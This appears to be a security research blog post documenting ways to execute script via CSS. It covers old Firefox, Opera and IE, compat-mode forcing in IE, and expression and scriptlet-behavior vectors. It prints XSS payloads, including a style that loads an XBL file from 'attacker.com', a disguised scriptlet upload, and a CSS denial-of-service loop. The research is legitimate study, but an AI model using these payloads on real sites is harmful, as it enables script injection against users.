The ability to execute scripts in CSS is particularly useful not only when injection points lay inside style tag/attribute, but it also helps exploit Relative Path Overwrite (RPO) and perhaps other attack scenario (e.g. <input type="hidden">). As browser vendors are taking security serious than ever before, relevant tricks start to fade away. Besides, there is no dedicated page for documenting those tricks and the existing one is oudated and confusing. Therefore, I would like to take this chance to centralize the ideas as well as introduce some lesser-known techniques regarding this topic.

Good ol' days

This section documents tricks that no longer work in modern browers. You can skip this part if you are not a huge fan of nostalgia.

Firefox

Firefox has a CSS property -moz-binding that attaches an XBL binding to a DOM element. This allows script execution through a crafted XBL file.

In Firefox 2, there is no limitation on loading a XBL file. Attackers can use an off-domain resource to perform XSS.

<input style="-moz-binding: url(//attacker.com/xbl.xml#xss)">

xbl.xml:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
    <binding id="xss">
        <implementation>
            <constructor>alert(1)</constructor>
        </implementation>
    </binding>
</bindings>

In Firefox 3.0, -moz-binding only allows same-origin XBL files with correct MIME type, but this can be circumvented via data URIs. It got fixed later in Firefox 3.5 and 3.6.

<input style="-moz-binding: url(data:text/xml,[...])">

Starting from Firefox 4, -moz-binding only works on chrome:// scheme. Since then there's no other approach to execute scripts through CSS in Firefox on the Internet.

As a side note, attackers can also perform a Denail of Service with CSS.

<input style="background: url('javascript:for(;;);')">

Although it uses javascript pseudo scheme, there is no way to interact with other objects thus no XSS. This works till Firefox 33.

Opera

Opera with Presto supports a unique CSS property -o-link to generate a link. In ealier versions attackers can use javascript pseudo scheme to execute scripts by luring victims to click on the affected element.

<input style="-o-link: 'javascript:alert(1)'; -o-link-source: current">

In Opera 11 and 12, -o-link prohibits javascript:. However it can be circumvented via data URIs.

<input style="-o-link: 'data:text/html,<img src=x onerror=alert(domain)>'; -o-link-source: current">

Starting from Opera 15, the original rendering engine Presto was dropped and Blink has been used instead. Since then there's no other approach to execute scripts through CSS in Opera.

Internet Explorer

In IE 6, javascript pseudo scheme executes in any URI.

<input style="background: url(javascript:alert(1))">

In IE 6 and 7, dynamic properties (i.e. expression) can be used to execute scripts without any limitation.

<input style="x: expression(open(alert(1)))">

DHTML behaviors is an alternative which will be covered below.


Modern Methods

The truth is IE is the only browser that allows executing scripts through CSS nowadays. There are two ways to achieve it as mentioned before: expressions and behaviors. The former is pretty well-known and works on IE 10 in compat mode, while the later is lesser-known and works on IE 11 in compat mode.

Compatibility View

Since both ways involve compat mode, we need to understand what it is and why we need that first.

Starting from IE 8, Microsoft has planned to end expressions to reduce the attack surface. For the sake of compatibility, they did not fully drop the support but instead require a document loaded into quirks mode in order to activate it. At the same time, they introduced Compatibility View (or compat mode) which allows a website using stardard doctype to opt-out stardards mode or tell IE to render it with the specified document mode (docmode). In a nutshell, compat mode brings back certain legacy features in newer versions of IE to widen the attack surface, including expressions and behaviors.

Forcing Compat Mode

Now that we understand why we need compat mode, we need to be able to manipulate the target's docmode. Takeshi already did a very good job explaining this on this paper, though I would like to further elaborate it and add a few points.

Docmode allows inheritance through frame hierarchy. That means if the target is frameable, we can prepare a crafted page that runs in old docmode via X-UA-Compatible and embed the target, forcing it to inherit the docmode setting.

This works fine as long as the target is loaded into quirks mode (i.e. without <!doctype html>) and does not have explicit X-UA-Compatible setting. If the target is loaded into standards mode or has its own X-UA-Compatible setting, the lowest possible docmode for it is 8.

Note: Strangely enough, IE 11 ignores child frame's X-UA-Compatible setting if the child does not have <!doctype html>

Lowest possible docmode in standards mode

You may also test it yourself. Anyway, this is a challenge to us because in order to get expression working on IE 10, the docmode must be either 5 or 7.

Note: IE 8 and 9 only require quirks mode for expression

Overriding X-UA-Compatible

One trivial way to override target's X-UA-Compatible is to abuse XSS filter. For example, we can confuse the built-in XSS filter by feeding it keyword <meta http-equiv and ask XSS filter to kindly "deactivate" the relevant setting. You can see it in action.

Compat bypass with XSS filter

This is trivial because it only works if X-UA-Compatible is set through <meta> and X-XSS-Protection is not present.

Bypassing <!doctype html>

Another barrier <!doctype html> can be effectively bypassed using CV list. CV list tells IE that which website needs to be automatically rendered in compat mode. Different from X-UA-Compatible, if a page runs in compat mode because of CV list, its child frames will also inherit its docmode regardless of the doctype. However it may take a century to ask Microsoft to include your domain on the list. An easy way to exploit it is to find XSS holes in those listed websites to influence the content and inject an iframe pointing to your target. You can try to hunt for one but make sure the docmode has to be 7. Such list is hosted here (for IE 10).

IE 10's CV list

Injecting X-UA-Compatible

If the target is not frameable but you happen to be able to inject limited markups on the page, there may still be a chance for you to control its docmode by injecting your own <meta http-equiv="X-UA-Compatible">. Here are some special rules and tricks regarding how IE handles it:

  • <meta http-equiv="X-UA-Compatible"> must appear in the first 5kB of the document
  • If there are multiple <meta http-equiv="X-UA-Compatible"> present, only the first one counts (can be bypassed with XSS filter trick)
  • <meta http-equiv="X-UA-Compatible"> placed after <head></head> has no effect
  • The parsing neglects element contexts. For example <title><meta http-equiv="X-UA-Compatible"></title> can be recognized
  • Quirky value (e.g. <meta content="whatever=EmulateIE7" http-equiv="X-UA-Compatible">) is accepted (thanks Oren!)

Expressions

As mentioned previously, Microsoft has decided to end expressions. In IE 8, 9 and 10, all we need is just force the target to run in docmode 7 and we can bring back expression to perform XSS. Unfortunately, Microsoft decided to completely kill expressions in IE11. The exact vector is the same as this.

Behaviors

Another forgotten technique is behavior. It is a legacy feature which intended to encapsulate specific functionality or behavior on a page. What is special about it is that behaviors still work on IE 11 in compat mode. Similar to -moz-binding, it accepts two types of file: HTML Component (.htc) and Scriptlet (.sct). Besides, the file also has to be on the same domain.

.htc

HTML Component is supported up to docmode 9. A typical attack using htc would look like this:

<input style="behavior: url(xss.htc)">

xss.htc:

<script>alert(1)</script>

which is essentially like importing a HTML file. However, it only works if the file is served with correct MIME type (text/x-component). This restriction makes the attack hopeless.

.sct

Scriptlet is supported up to docmode 10. In other words, you don't need to care about forcing the target to run in compat mode for IE 10. Although Scriptlet also requires correct MIME type (text/x-scriptlet), the secret is IE will try to perform MIME sniffing for certain MIME type. Below is a list of common MIME types that will activate the sniffing process for scriptlet:

  • text/html
  • text/plain
  • image/*
  • video/mpeg
  • video/avi

So you may consider giving it a try if you can upload a file to the target website. It is worth noting that X-Content-Type-Options: nosniff and Content-Disposition: attachment will stop the sniffing.

<input style="behavior: url(xss.txt)">

xss.txt:

<scriptlet>
    <implements type="behavior"/>
    <script>alert(1)</script>
</scriptlet>

You may also try the online version.

Summary

IE is the only browser left that allows you to execute scripts in CSS. Still, various tricks may be required to force the target into desired docmode. To conclude, use expression for IE10 or below, behavior with scriptlet for IE11.